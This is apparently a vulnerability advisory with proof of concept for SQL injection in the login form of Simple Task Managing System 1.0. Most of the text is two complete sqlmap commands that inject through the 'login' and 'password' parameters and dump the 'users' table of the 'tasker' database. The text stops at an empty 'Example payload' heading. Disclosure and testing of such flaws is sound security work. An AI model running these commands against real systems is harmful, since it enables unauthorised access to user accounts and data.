------------------------------------------------------------------------------------

1. Description:
----------------------

Simple Task Managing System 1.0 allows SQL Injection via parameters 'login' and 'password' in /TaskManagingSystem/login.php 
Exploiting this issue could allow an attacker to compromise the application, access or modify data, 
or exploit latest vulnerabilities in the underlying database.


2. Proof of Concept:
----------------------

In sqlmap use 'login' parameter or 'password' parameter to dump users table from 'tasker' database. 
Then run SQLmap to extract the data from the database:

sqlmap.py -u "http://localhost/TaskManagingSystem/loginValidation.php" -p "login" --risk="3" --level="3" --method="POST" --data="login=test&password=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/TaskManagingSystem/login.php" --dbms="MySQL" --batch --dbs -D tasker -T users --dump

sqlmap.py -u "http://localhost/TaskManagingSystem/loginValidation.php" -p "password" --risk="3" --level="3" --method="POST" --data="login=&password=test" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/TaskManagingSystem/login.php" --dbms="MySQL" --batch --dbs -D tasker -T users --dump


3. Example payload:
